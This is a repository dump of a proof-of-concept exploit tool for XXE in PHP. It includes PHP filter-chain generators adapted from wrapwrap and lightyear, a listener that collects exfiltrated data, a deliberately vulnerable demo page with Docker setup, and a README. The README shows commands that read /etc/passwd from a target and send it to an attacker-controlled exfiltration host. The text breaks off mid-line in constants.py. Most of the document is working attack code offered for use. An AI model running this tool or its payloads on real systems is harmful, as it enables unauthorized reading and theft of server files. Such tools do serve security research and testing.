├── requirements.txt ├── demo ├── demo-request.txt ├── Dockerfile ├── compose.yaml └── index.php ├── libs ├── server.py ├── tampers.py ├── output.py ├── iconv.py ├── wrapwrap.py ├── lightyear.py ├── constants.py └── sets.py ├── README.md └── wwe.py /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | rich -------------------------------------------------------------------------------- /demo/demo-request.txt: -------------------------------------------------------------------------------- 1 | POST / HTTP/1.1 2 | Host: 192.168.199.128:1337 3 | Content-Type: application/x-www-form-urlencoded 4 | 5 | user_input=<@urlencode>@payload -------------------------------------------------------------------------------- /demo/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:8.4-apache 2 | 3 | RUN apt-get update && apt-get install -y \ 4 | libzip-dev \ 5 | zip \ 6 | && docker-php-ext-install zip 7 | 8 | COPY ./index.php /var/www/html/index.php 9 | USER www-data -------------------------------------------------------------------------------- /demo/compose.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | web: 3 | build: 4 | context: . 5 | ports: 6 | - 1337:80 7 | networks: 8 | wwe-bridge: 9 | ipv4_address: 172.30.0.2 10 | 11 | networks: 12 | wwe-bridge: 13 | driver: bridge 14 | ipam: 15 | config: 16 | - subnet: 172.30.0.0/24 17 | gateway: 172.30.0.1 -------------------------------------------------------------------------------- /demo/index.php: -------------------------------------------------------------------------------- 1 | loadXML($_POST['user_input']); // #1 5 | 6 | $xml = $doc->saveXML(); 7 | $doc = new \DOMDocument('1.0', 'UTF-8'); 8 | $doc->loadXML($xml, LIBXML_DTDLOAD | LIBXML_NONET); // #2 & #3 9 | 10 | foreach ($doc->childNodes as $child) { 11 | if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {// #4 12 | throw new RuntimeException('Dangerous XML detected'); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /libs/server.py: -------------------------------------------------------------------------------- 1 | import http.server 2 | import socketserver 3 | import threading 4 | import queue 5 | from urllib.parse import urlparse, parse_qsl 6 | 7 | SERVER_QUEUE = queue.Queue() 8 | 9 | class Server(http.server.SimpleHTTPRequestHandler): 10 | def do_GET(self): 11 | query = dict(parse_qsl(urlparse(self.path).query)) 12 | 13 | SERVER_QUEUE.put(query.get('exf')) 14 | 15 | self.send_response(204) 16 | self.end_headers() 17 | self.wfile.write(b"") 18 | 19 | def log_message(self, format, *args): 20 | # disable logging 21 | pass 22 | 23 | def start_server(port): 24 | def loop(): 25 | socketserver.TCPServer.allow_reuse_address = True 26 | with socketserver.TCPServer(("", port), Server) as httpd: 27 | print("serving at port", port) 28 | httpd.serve_forever() 29 | 30 | threading.Thread(target=loop, daemon=True).start() -------------------------------------------------------------------------------- /libs/tampers.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import re 3 | from requests import Request 4 | from dataclasses import dataclass 5 | from urllib.parse import quote 6 | 7 | @dataclass(frozen=True) 8 | class Tamper: 9 | pattern: str 10 | 11 | 12 | @dataclass(frozen=True) 13 | class Encoder(Tamper): 14 | pattern: str = '' 15 | 16 | def handle(self, str: str): 17 | iter = re.finditer(self.pattern, str, re.S) 18 | for match in iter: 19 | str = str.replace(match.group(0), self.get_replacement(match)) 20 | return str 21 | 22 | def get_replacement(self, match: re.Match[str]): 23 | raise ValueError('Not implemented') 24 | 25 | 26 | @dataclass(frozen=True) 27 | class B64Tamper(Encoder): 28 | pattern: str = '<@base64>(.+?)' 29 | 30 | def get_replacement(self, match: re.Match[str]): 31 | return base64.b64encode(match.group(1).encode()).decode() 32 | 33 | 34 | @dataclass(frozen=True) 35 | class URLETamper(Encoder): 36 | pattern: str = '<@urlencode>(.+?)' 37 | 38 | def get_replacement(self, match: re.Match[str]): 39 | return quote(match.group(1)) 40 | 41 | 42 | @dataclass(frozen=True) 43 | class ReplaceTamper(Tamper): 44 | replacement: str 45 | 46 | def handle(self, str): 47 | return str.replace(self.pattern, self.replacement) 48 | 49 | 50 | @dataclass(frozen=True) 51 | class MultiTamper(Tamper): 52 | pattern: list[Tamper] 53 | 54 | def handle(self, str): 55 | for tamper in self.pattern: 56 | str = tamper.handle(str) 57 | return str -------------------------------------------------------------------------------- /libs/output.py: -------------------------------------------------------------------------------- 1 | from rich.live import Live 2 | from rich.text import Text 3 | from rich.console import Console 4 | from rich.prompt import Prompt 5 | 6 | class SimpleLive: 7 | def __init__(self): 8 | self._buf = [] 9 | self._index = 0 10 | self._live = Live( 11 | console=Console(), 12 | vertical_overflow='visible', 13 | get_renderable=self.renderable, 14 | auto_refresh=True, 15 | ) 16 | 17 | def renderable(self): 18 | return Text('\n'.join(self._buf)) 19 | 20 | def print(self, str: str, flush:bool): 21 | if self._index >= len(self._buf): 22 | self._buf.append('') 23 | self._buf[self._index] = str 24 | self._index += 1 25 | if flush: 26 | self._index = 0 27 | 28 | def start(self): 29 | self._live.start() 30 | 31 | def stop(self): 32 | self._live.stop() 33 | 34 | class UglyLive: 35 | def print(self, str: str, flush:bool): 36 | print(str, flush=flush) 37 | 38 | def start(self): 39 | pass 40 | 41 | def stop(self): 42 | pass 43 | 44 | 45 | class LiveOutput: 46 | def __init__(self, enabled: bool, *, ugly:bool = False): 47 | self.enabled = enabled 48 | self.live = SimpleLive() if not ugly else UglyLive() 49 | 50 | def print(self, str: str, flush: bool=False): 51 | if self.enabled: 52 | return self.live.print(str, flush=flush) 53 | 54 | def start(self): 55 | if self.enabled: 56 | self.live.start() 57 | 58 | def stop(self): 59 | if self.enabled: 60 | self.live.stop() -------------------------------------------------------------------------------- /libs/iconv.py: -------------------------------------------------------------------------------- 1 | """Provides a convert() function that converts a string from one charset to another 2 | using iconv. We cannot use python-iconv as it memleaks. 3 | """ 4 | 5 | from ctypes import ( 6 | POINTER, 7 | byref, 8 | c_char_p, 9 | c_int, 10 | c_size_t, 11 | c_void_p, 12 | create_string_buffer, 13 | addressof, 14 | CDLL, 15 | ) 16 | from ctypes.util import find_library 17 | 18 | 19 | __all__ = ["convert"] 20 | 21 | # Iconv bindings, courtesy of copilot 22 | 23 | libc = CDLL(find_library("c")) 24 | iconv_open = libc.iconv_open 25 | iconv_open.argtypes = [c_char_p, c_char_p] 26 | iconv_open.restype = c_void_p 27 | 28 | iconv = libc.iconv 29 | iconv.argtypes = [ 30 | c_void_p, 31 | POINTER(c_char_p), 32 | POINTER(c_size_t), 33 | POINTER(c_char_p), 34 | POINTER(c_size_t), 35 | ] 36 | iconv.restype = c_size_t 37 | 38 | iconv_close = libc.iconv_close 39 | iconv_close.argtypes = [c_void_p] 40 | iconv_close.restype = c_int 41 | 42 | 43 | def convert(charset_from: str, charset_to: str, input_str: str) -> bytes: 44 | """Converts a string from one charset to another using iconv. 45 | If the conversion fails, an empty string is returned. Although this is not proper 46 | practice, it works nicely for our use case. 47 | """ 48 | cd = iconv_open(charset_to.encode(), charset_from.encode()) 49 | if cd == c_void_p(-1).value: 50 | raise ValueError("Failed to create iconv object") 51 | 52 | in_buf = create_string_buffer(input_str) 53 | in_size = c_size_t(len(in_buf)) 54 | out_buf = create_string_buffer(len(in_buf) * 4) 55 | out_size = c_size_t(len(out_buf)) 56 | 57 | inbuf_ptr = c_char_p(addressof(in_buf)) 58 | outbuf_ptr = c_char_p(addressof(out_buf)) 59 | 60 | result = iconv( 61 | cd, byref(inbuf_ptr), byref(in_size), byref(outbuf_ptr), byref(out_size) 62 | ) 63 | 64 | libc.iconv_close(cd) 65 | 66 | if result == c_size_t(-1).value: 67 | return b"" 68 | 69 | return out_buf[: len(out_buf) - out_size.value - 1] 70 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | PoC tool (based on [wrapwrap](https://github.com/ambionics/wrapwrap) & [lightyear](https://github.com/ambionics/lightyear) ) to demonstrate XXE in PHP with only `LIBXML_DTDLOAD` or `LIBXML_DTDATTR` flag set 2 | 3 | ## Usage 4 | 5 | ### Setup 6 | ```sh 7 | git clone https://github.com/bytehope/wwe.git 8 | cd wwe 9 | pip install -r requirements.txt 10 | ``` 11 | 12 | ### Tool arguments 13 | 14 | List of allowed tool arguments 15 | ```sh 16 | usage: wwe.py [-h] -f FILENAME [-l LENGTH] [--dns-exf | --no-dns-exf] [--decode | --no-decode] exfiltrate_url {AUTO,MANUAL} ... 17 | 18 | positional arguments: 19 | exfiltrate_url 20 | {AUTO,MANUAL} 21 | 22 | options: 23 | -h, --help show this help message and exit 24 | -f FILENAME, --filename FILENAME 25 | the name of the file whose content we want to get 26 | -l LENGTH, --length LENGTH 27 | each request will retrieve l-bytes in b64. Increase this param will be huge increase payload size 28 | --dns-exf, --no-dns-exf 29 | enable/disable exfiltration over DNS (default: False) 30 | --decode, --no-decode 31 | Inline decode to b64 in output 32 | ``` 33 | 34 | ### Demo 35 | To set up a test environment, run the docker compose. 36 | ```sh 37 | docker compose -f ./demo/compose.yaml up -d 38 | ``` 39 | 40 | Then execute the script 41 | ```sh 42 | python3 wwe.py -f /etc/passwd --decode http://172.30.0.1:9999 AUTO ./demo/demo-request.txt -u http://localhost:1337/ 43 | ``` 44 | 45 | Stop Docker and remove the network 46 | ```sh 47 | docker compose -f ./demo/compose.yaml down -v 48 | ``` 49 | 50 | ### Modes 51 | #### Auto 52 | It listens to the port itself and sends data to a vulnerable route using a txt file, 53 | example: 54 | ```sh 55 | python3 wwe.py -f /etc/passwd --decode http://EXF_HOST:LISTEN_PORT AUTO REQUEST_IN_FILE.txt -u http://TARGET/ 56 | ``` 57 | 58 | #### Manual 59 | Generates a payload on each chunk of data, waiting for input to generate the next payload: 60 | ```sh 61 | python3 wwe.py -f /etc/passwd --decode http://EXF_HOST_WITH_PORT MANUAL 62 | ``` 63 | 64 | ### TODO: 65 | - output data into file 66 | - enable/disable live mode 67 | - improved live view for other modes 68 | - full-auto DNS mode 69 | - 70 | -------------------------------------------------------------------------------- /libs/wrapwrap.py: -------------------------------------------------------------------------------- 1 | # from: https://github.com/ambionics/wrapwrap 2 | import base64 3 | from .constants import * 4 | 5 | class WrapWrap: 6 | padding_character: str = " " 7 | 8 | def __init__(self): 9 | self.prefix = b" '" 10 | self.suffix = b"'" 11 | 12 | def generate(self, nb_bytes) -> None: 13 | self.prefix = self.prefix 14 | self.suffix = self.suffix 15 | 16 | self.filters = [] 17 | 18 | if self.suffix: 19 | self.compute_nb_chunks(nb_bytes) 20 | self.prelude() 21 | self.add_suffix() 22 | self.pad_suffix() 23 | self.add_prefix() 24 | self.postlude() 25 | 26 | filters = "/".join(self.filters) 27 | return filters 28 | 29 | def compute_nb_chunks(self, nb_bytes) -> None: 30 | real_stop = self.align_value(nb_bytes, 9) 31 | self.nb_chunks = int(real_stop / 9 * 4) 32 | 33 | def __truediv__(self, filters: str) -> None: 34 | self.filters.append(filters) 35 | return self 36 | 37 | def push_char(self, c: bytes) -> None: 38 | if isinstance(c, int): 39 | c = bytes((c,)) 40 | return self / CONVERSIONS[c.decode()] / B64D / B64E 41 | 42 | def push_char_safely(self, c: bytes) -> None: 43 | self.push_char(c) / REMOVE_EQUAL 44 | 45 | def align(self) -> None: 46 | """Makes the B64 payload have a size divisible by 3. 47 | The second B64 needs to be 3-aligned because the third needs to be 4-aligned. 48 | """ 49 | self / B64E / QPE / REMOVE_EQUAL 50 | self.push_char(b"A") 51 | self / QPE / REMOVE_EQUAL 52 | self.push_char(b"A") 53 | self / QPE / REMOVE_EQUAL 54 | self.push_char_safely(b"A") 55 | self.push_char_safely(b"A") 56 | self / B64D 57 | 58 | def prelude(self) -> None: 59 | self / B64E / B64E 60 | self.align() 61 | self / "convert.iconv.437.UCS-4le" 62 | 63 | def add3_swap(self, triplet: bytes) -> None: 64 | assert len(triplet) == 3, f"add3 called with: {triplet}" 65 | b64 = self.b64e(triplet) 66 | self / B64E 67 | self.push_char(b64[3]) 68 | self.push_char(b64[2]) 69 | self.push_char(b64[1]) 70 | self.push_char(b64[0]) 71 | self / B64D 72 | self / SWAP4 73 | 74 | def b64e(self, value: bytes, strip: bool = False) -> bytes: 75 | value = base64.b64encode(value) 76 | if strip: 77 | while value.endswith(b"="): 78 | value = value.removesuffix(b"=") 79 | return value 80 | 81 | def add_suffix(self) -> None: 82 | """Adds a suffix to the string, along with the 0 that marks the end of 83 | chunked data. 84 | """ 85 | self.add3_swap(b"\n0\n") 86 | suffix_b64 = self.b64e(self.suffix) 87 | reverse = False 88 | 89 | chunks = [suffix_b64[i:i+2] for i in range(0, len(suffix_b64), 2)] 90 | for chunk in reversed(chunks): 91 | chunk = self.b64e(chunk, strip=True) 92 | chunk = self.set_lsbs(chunk) 93 | if reverse: 94 | chunk = chunk[::-1] 95 | self.add3_swap(chunk) 96 | reverse = not reverse 97 | 98 | def pad_suffix(self) -> None: 99 | """Moves the suffix up the string.""" 100 | for _ in range(self.nb_chunks * 4 + 2): 101 | # This is not a random string: it minimizes the size of the payload 102 | self.add3_swap(b"\x08\x29\x02") 103 | 104 | def add_prefix(self) -> None: 105 | self / B64E 106 | 107 | prefix = self.align_right(self.prefix, 3) 108 | prefix = self.b64e(prefix) 109 | prefix = self.align_right(prefix, 3 * 3, "\x00") 110 | prefix = self.b64e(prefix) 111 | size = int( 112 | len(self.b64e(self.suffix)) / 2 * 4 113 | + self.nb_chunks * 4 * 4 114 | + 2 115 | + 7 116 | + len(prefix) 117 | ) 118 | chunk_header = self.align_left(f"{size:x}\n".encode(), 3, "0") 119 | b64 = self.b64e(chunk_header + prefix) 120 | for char in reversed(b64): 121 | self.push_char(char) 122 | 123 | def postlude(self) -> None: 124 | self / B64D / "dechunk" / B64D / B64D 125 | 126 | def set_lsbs(self, chunk: bytes) -> bytes: 127 | """Sets the two LS bits of the given chunk, so that the caracter that comes 128 | after is not ASCII, and thus not a valid B64 char. A double decode would 129 | therefore "remove" that char. 130 | """ 131 | char = chunk[2] 132 | alphabet = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" 133 | index = alphabet.find(char) 134 | return chunk[:2] + alphabet[index + 3: index + 3 + 1] 135 | 136 | def align_right(self, input_str: bytes, n: int, p: str = None) -> bytes: 137 | """Aligns the input string to the right to make its length divisible by n, using 138 | the specified pad character. 139 | """ 140 | p = p or self.padding_character 141 | p = p.encode() 142 | padding_size = (n - len(input_str) % n) % n 143 | aligned_str = input_str.ljust(len(input_str) + padding_size, p) 144 | 145 | return aligned_str 146 | 147 | def align_left(self, input_str: bytes, n: int, p: str = None) -> bytes: 148 | """Aligns the input string to the left to make its length divisible by n, using 149 | the specified pad character. 150 | """ 151 | p = p or self.padding_character 152 | p = p.encode() 153 | aligned_str = input_str.rjust(self.align_value(len(input_str), n), p) 154 | 155 | return aligned_str 156 | 157 | @staticmethod 158 | def align_value(value: int, div: int) -> int: 159 | return value + (div - value % div) % div 160 | 161 | -------------------------------------------------------------------------------- /libs/lightyear.py: -------------------------------------------------------------------------------- 1 | # fork from https://github.com/ambionics/lightyear 2 | from __future__ import annotations 3 | from .iconv import convert 4 | from .constants import * 5 | from dataclasses import dataclass 6 | from functools import cached_property 7 | import base64 8 | 9 | Byte = bytes 10 | Digit = str 11 | Conversion = tuple[str, str] 12 | FilterChain = tuple[str, ...] 13 | 14 | def data_decode(data: str) -> str: 15 | data += "A" * (4 - len(data) % 4) 16 | data = base64.b64decode(data) 17 | data = data.decode("utf-8", "replace") 18 | return data 19 | 20 | class Lightyear: 21 | max_size: int 22 | filter_chunks: list[Chunk] = [] 23 | 24 | def __init__(self, max_size:int = 44) -> None: 25 | self.max_size = max_size 26 | self.used_chars_map = dict() 27 | 28 | def _nb_dumped_bytes(self) -> int: 29 | return (len(self.digits) - 1) // 4 * 3 30 | 31 | def update(self, data) -> None: 32 | self._update_chunks(data) 33 | 34 | def fc(self) -> None: 35 | filters = [B64E, REMOVE_EQUAL] 36 | for chunk in self.filter_chunks: 37 | filters += chunk.fc 38 | return "/".join(filters) 39 | 40 | def output(self, decode: bool = False) -> str: 41 | out = '' 42 | for chunk in self.filter_chunks: 43 | out += chunk 44 | return data_decode(out) if decode else out 45 | 46 | def _update_chunks(self, new_data: str) -> None: 47 | assert len(new_data) > 0, "Data should be set" 48 | 49 | split = self._find_split(new_data) 50 | if not split: 51 | raise ChunkException(f"No valid character found in {new_data}") 52 | 53 | char, index, reseted = split 54 | new_data = new_data[0:index+1] 55 | digit_set = DIGIT_SETS[char] 56 | if not reseted and len(self.filter_chunks) > 0: 57 | self.filter_chunks[-1].update(self.filter_chunks[-1].data + new_data, digit_set, char) 58 | if len(self.filter_chunks) > 1: 59 | prev = self.filter_chunks[-2] 60 | prev.update_safe_position(self.filter_chunks[-1].data) 61 | else: 62 | next = Chunk(new_data, digit_set, char) 63 | self.filter_chunks.append(next) 64 | 65 | def _find_split(self, data: str, reset_map: bool = False) -> tuple: 66 | if reset_map: 67 | self.used_chars_map = dict() 68 | 69 | split = None 70 | for i, char in enumerate(data): 71 | if char in self.used_chars_map or char not in DIGIT_SETS: 72 | continue 73 | split = char, i, reset_map 74 | self.used_chars_map[char] = True 75 | 76 | if split is None and not reset_map: 77 | return self._find_split(data, True) 78 | return split 79 | 80 | 81 | class ChunkException(Exception): 82 | pass 83 | 84 | class DigitException(Exception): 85 | pass 86 | 87 | @dataclass 88 | class Chunk: 89 | data: str 90 | set: DigitSet 91 | split_char: str 92 | safe_chunk_size_fc: tuple = None 93 | 94 | @property 95 | def size(self): 96 | return len(self.data) 97 | 98 | @cached_property 99 | def fc(self): 100 | if not self.safe_chunk_size_fc: 101 | shortest = self.set.hex_digits[0][1] 102 | digit_fc = shortest * 5 103 | else: 104 | digit_fc = self.safe_chunk_size_fc 105 | 106 | digit_fc = '/'.join(digit_fc) 107 | return (digit_fc,) + self.set.forward + (DECHUNK,) + self.set.back 108 | 109 | def update(self, data: str, set: DigitSet, split_char: str): 110 | self._reset_cache() 111 | self.data = data 112 | self.set = set 113 | self.split_char = split_char 114 | 115 | def update_safe_position(self, next_chunk_data: str): 116 | def is_safe_position(chunk_size: int): 117 | digit = int(chunk_size, 16) 118 | return len(next_chunk_data) > digit and next_chunk_data[digit] != self.split_char 119 | 120 | if self.safe_chunk_size_fc: 121 | return 122 | 123 | first_char = self.set.from_base(self.data[0]) 124 | # if the first character if it is a hex and a safe chunk_size 125 | if first_char in NON_ZERO_HEX_DIGITS and is_safe_position(chr(first_char)): 126 | self.safe_chunk_size_fc = () # nothing add 127 | else: 128 | # take first safe chunk_size 129 | for hex_digit in self.set.hex_digits: 130 | if is_safe_position(hex_digit[0]): 131 | self.safe_chunk_size_fc = hex_digit[1] 132 | break 133 | 134 | # reset cache if safe_chunk_size_fc is set 135 | if self.safe_chunk_size_fc: 136 | self._reset_cache() 137 | 138 | def _reset_cache(self): 139 | del self.__dict__['fc'] # ugly reset cache 140 | 141 | def __radd__(self, other): 142 | return other.__add__(str(self)) 143 | 144 | def __str__(self): 145 | return self.data 146 | 147 | 148 | @dataclass(frozen=True) 149 | class DigitSet: 150 | digit: str 151 | conversions: tuple[Conversion] 152 | 153 | @staticmethod 154 | def _to_filter(conversion: Conversion) -> str: 155 | filter = f"convert.iconv.{conversion[0]}.{conversion[1]}" 156 | return filter 157 | 158 | @cached_property 159 | def forward(self) -> str: 160 | return tuple(map(self._to_filter, self.conversions)) 161 | 162 | @cached_property 163 | def back(self) -> str: 164 | return tuple( 165 | map(self._to_filter, ((x[1], x[0]) for x in reversed(self.conversions))) 166 | ) 167 | 168 | @cached_property 169 | def state(self) -> bytes: 170 | state = B64_DIGITS.encode() 171 | for cfrom, cto in self.conversions: 172 | state = convert(cfrom, cto, state) 173 | return state 174 | 175 | @cached_property 176 | def hex_digits(self) -> dict[str, FilterChain]: 177 | couples = [ 178 | (chr(digit), DIGIT_PREPENDERS[B64_DIGITS[p]] + B64DE + (REMOVE_EQUAL,) ) 179 | for p, digit in enumerate(self.state) 180 | if digit in NON_ZERO_HEX_DIGITS 181 | ] 182 | return sorted(couples, key=lambda couple: len(couple[1])) 183 | 184 | def to_base(self, digit: Byte) -> str: 185 | return B64_DIGITS[self.state.index(digit)] 186 | 187 | def from_base(self, digit: str) -> str: 188 | return self.state[B64_DIGITS.index(digit)] 189 | 190 | def has_non_zero_hex_digit(self) -> bool: 191 | return any(digit in NON_ZERO_HEX_DIGITS for digit in self.state) 192 | 193 | 194 | DIGIT_SETS = { 195 | digit: DigitSet(digit, conversions) for digit, conversions, _ in DIGIT_SETS 196 | } 197 | DIGIT_SETS = { 198 | digit: set for digit, set in DIGIT_SETS.items() if set.has_non_zero_hex_digit() 199 | } -------------------------------------------------------------------------------- /libs/constants.py: -------------------------------------------------------------------------------- 1 | from .sets import DIGIT_SETS 2 | 3 | B64D = "convert.base64-decode" 4 | B64E = "convert.base64-encode" 5 | QPE = "convert.quoted-printable-encode" 6 | REMOVE_EQUAL = "convert.iconv.L1.UTF7" 7 | SWAP4 = "convert.iconv.UCS-4.UCS-4LE" 8 | B64DE = ( 9 | "convert.base64-decode", 10 | "convert.base64-encode", 11 | ) 12 | 13 | B64_DIGITS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/" 14 | HEX_DIGITS = b"0123456789abcdefABCDEF" 15 | NON_ZERO_HEX_DIGITS = b"123456789abcdefABCDEF" 16 | DECHUNK = "dechunk" 17 | BIG_STEP = 208 18 | MAX_INT = float("inf") 19 | 20 | # FROM https://github.com/synacktiv/php_filter_chain_generator/ 21 | CONVERSIONS = { 22 | "0": "convert.iconv.UTF8.UTF16LE/convert.iconv.UTF8.CSISO2022KR/convert.iconv.UCS2.UTF8/convert.iconv.8859_3.UCS2", 23 | "1": "convert.iconv.ISO88597.UTF16/convert.iconv.RK1048.UCS-4LE/convert.iconv.UTF32.CP1167/convert.iconv.CP9066.CSUCS4", 24 | "2": "convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.CP949.UTF32BE/convert.iconv.ISO_69372.CSIBM921", 25 | "3": "convert.iconv.L6.UNICODE/convert.iconv.CP1282.ISO-IR-90/convert.iconv.ISO6937.8859_4/convert.iconv.IBM868.UTF-16LE", 26 | "4": "convert.iconv.CP866.CSUNICODE/convert.iconv.CSISOLATIN5.ISO_6937-2/convert.iconv.CP950.UTF-16BE", 27 | "5": "convert.iconv.UTF8.UTF16LE/convert.iconv.UTF8.CSISO2022KR/convert.iconv.UTF16.EUCTW/convert.iconv.8859_3.UCS2", 28 | "6": "convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.CSIBM943.UCS4/convert.iconv.IBM866.UCS-2", 29 | "7": "convert.iconv.851.UTF-16/convert.iconv.L1.T.618BIT/convert.iconv.ISO-IR-103.850/convert.iconv.PT154.UCS4", 30 | "8": "convert.iconv.ISO2022KR.UTF16/convert.iconv.L6.UCS2", 31 | "9": "convert.iconv.CSIBM1161.UNICODE/convert.iconv.ISO-IR-156.JOHAB", 32 | "A": "convert.iconv.8859_3.UTF16/convert.iconv.863.SHIFT_JISX0213", 33 | "a": "convert.iconv.CP1046.UTF32/convert.iconv.L6.UCS-2/convert.iconv.UTF-16LE.T.61-8BIT/convert.iconv.865.UCS-4LE", 34 | "B": "convert.iconv.CP861.UTF-16/convert.iconv.L4.GB13000", 35 | "b": "convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.iconv.UCS-2.OSF00030010/convert.iconv.CSIBM1008.UTF32BE", 36 | "C": "convert.iconv.UTF8.CSISO2022KR", 37 | "c": "convert.iconv.L4.UTF32/convert.iconv.CP1250.UCS-2", 38 | "D": "convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.IBM932.SHIFT_JISX0213", 39 | "d": "convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.GBK.BIG5", 40 | "E": "convert.iconv.IBM860.UTF16/convert.iconv.ISO-IR-143.ISO2022CNEXT", 41 | "e": "convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.iconv.UTF16.EUC-JP-MS/convert.iconv.ISO-8859-1.ISO_6937", 42 | "F": "convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.CP950.SHIFT_JISX0213/convert.iconv.UHC.JOHAB", 43 | "f": "convert.iconv.CP367.UTF-16/convert.iconv.CSIBM901.SHIFT_JISX0213", 44 | "g": "convert.iconv.SE2.UTF-16/convert.iconv.CSIBM921.NAPLPS/convert.iconv.855.CP936/convert.iconv.IBM-932.UTF-8", 45 | "G": "convert.iconv.L6.UNICODE/convert.iconv.CP1282.ISO-IR-90", 46 | "H": "convert.iconv.CP1046.UTF16/convert.iconv.ISO6937.SHIFT_JISX0213", 47 | "h": "convert.iconv.CSGB2312.UTF-32/convert.iconv.IBM-1161.IBM932/convert.iconv.GB13000.UTF16BE/convert.iconv.864.UTF-32LE", 48 | "I": "convert.iconv.L5.UTF-32/convert.iconv.ISO88594.GB13000/convert.iconv.BIG5.SHIFT_JISX0213", 49 | "i": "convert.iconv.DEC.UTF-16/convert.iconv.ISO8859-9.ISO_6937-2/convert.iconv.UTF16.GB13000", 50 | "J": "convert.iconv.863.UNICODE/convert.iconv.ISIRI3342.UCS4", 51 | "j": "convert.iconv.CP861.UTF-16/convert.iconv.L4.GB13000/convert.iconv.BIG5.JOHAB/convert.iconv.CP950.UTF16", 52 | "K": "convert.iconv.863.UTF-16/convert.iconv.ISO6937.UTF16LE", 53 | "k": "convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2", 54 | "L": "convert.iconv.IBM869.UTF16/convert.iconv.L3.CSISO90/convert.iconv.R9.ISO6937/convert.iconv.OSF00010100.UHC", 55 | "l": "convert.iconv.CP-AR.UTF16/convert.iconv.8859_4.BIG5HKSCS/convert.iconv.MSCP1361.UTF-32LE/convert.iconv.IBM932.UCS-2BE", 56 | "M": "convert.iconv.CP869.UTF-32/convert.iconv.MACUK.UCS4/convert.iconv.UTF16BE.866/convert.iconv.MACUKRAINIAN.WCHAR_T", 57 | "m": "convert.iconv.SE2.UTF-16/convert.iconv.CSIBM921.NAPLPS/convert.iconv.CP1163.CSA_T500/convert.iconv.UCS-2.MSCP949", 58 | "N": "convert.iconv.CP869.UTF-32/convert.iconv.MACUK.UCS4", 59 | "n": "convert.iconv.ISO88594.UTF16/convert.iconv.IBM5347.UCS4/convert.iconv.UTF32BE.MS936/convert.iconv.OSF00010004.T.61", 60 | "O": "convert.iconv.CSA_T500.UTF-32/convert.iconv.CP857.ISO-2022-JP-3/convert.iconv.ISO2022JP2.CP775", 61 | "o": "convert.iconv.JS.UNICODE/convert.iconv.L4.UCS2/convert.iconv.UCS-4LE.OSF05010001/convert.iconv.IBM912.UTF-16LE", 62 | "P": "convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.MS932.MS936/convert.iconv.BIG5.JOHAB", 63 | "p": "convert.iconv.IBM891.CSUNICODE/convert.iconv.ISO8859-14.ISO6937/convert.iconv.BIG-FIVE.UCS-4", 64 | "q": "convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.GBK.CP932/convert.iconv.BIG5.UCS2", 65 | "Q": "convert.iconv.L6.UNICODE/convert.iconv.CP1282.ISO-IR-90/convert.iconv.CSA_T500-1983.UCS-2BE/convert.iconv.MIK.UCS2", 66 | "R": "convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932/convert.iconv.SJIS.EUCJP-WIN/convert.iconv.L10.UCS4", 67 | "r": "convert.iconv.IBM869.UTF16/convert.iconv.L3.CSISO90/convert.iconv.ISO-IR-99.UCS-2BE/convert.iconv.L4.OSF00010101", 68 | "S": "convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943/convert.iconv.GBK.SJIS", 69 | "s": "convert.iconv.IBM869.UTF16/convert.iconv.L3.CSISO90", 70 | "T": "convert.iconv.L6.UNICODE/convert.iconv.CP1282.ISO-IR-90/convert.iconv.CSA_T500.L4/convert.iconv.ISO_8859-2.ISO-IR-103", 71 | "t": "convert.iconv.864.UTF32/convert.iconv.IBM912.NAPLPS", 72 | "U": "convert.iconv.INIS.UTF16/convert.iconv.CSIBM1133.IBM943", 73 | "u": "convert.iconv.CP1162.UTF32/convert.iconv.L4.T.61", 74 | "V": "convert.iconv.CP861.UTF-16/convert.iconv.L4.GB13000/convert.iconv.BIG5.JOHAB", 75 | "v": "convert.iconv.UTF8.UTF16LE/convert.iconv.UTF8.CSISO2022KR/convert.iconv.UTF16.EUCTW/convert.iconv.ISO-8859-14.UCS2", 76 | "W": "convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.MS932.MS936", 77 | "w": "convert.iconv.MAC.UTF16/convert.iconv.L8.UTF16BE", 78 | "X": "convert.iconv.PT.UTF32/convert.iconv.KOI8-U.IBM-932", 79 | "x": "convert.iconv.CP-AR.UTF16/convert.iconv.8859_4.BIG5HKSCS", 80 | "Y": "convert.iconv.CP367.UTF-16/convert.iconv.CSIBM901.SHIFT_JISX0213/convert.iconv.UHC.CP1361", 81 | "y": "convert.iconv.851.UTF-16/convert.iconv.L1.T.618BIT", 82 | "Z": "convert.iconv.SE2.UTF-16/convert.iconv.CSIBM1161.IBM-932/convert.iconv.BIG5HKSCS.UTF16", 83 | "z": "convert.iconv.865.UTF16/convert.iconv.CP901.ISO6937", 84 | "/": "convert.iconv.IBM869.UTF16/convert.iconv.L3.CSISO90/convert.iconv.UCS2.UTF-8/convert.iconv.CSISOLATIN6.UCS-4", 85 | "+": "convert.iconv.UTF8.UTF16/convert.iconv.WINDOWS-1258.UTF32LE/convert.iconv.ISIRI3342.ISO-IR-157", 86 | "=": "", 87 | } 88 | DIGIT_PREPENDERS: dict[str, tuple[str]] = { 89 | digit: tuple(filters.split("/")) for digit, filters in 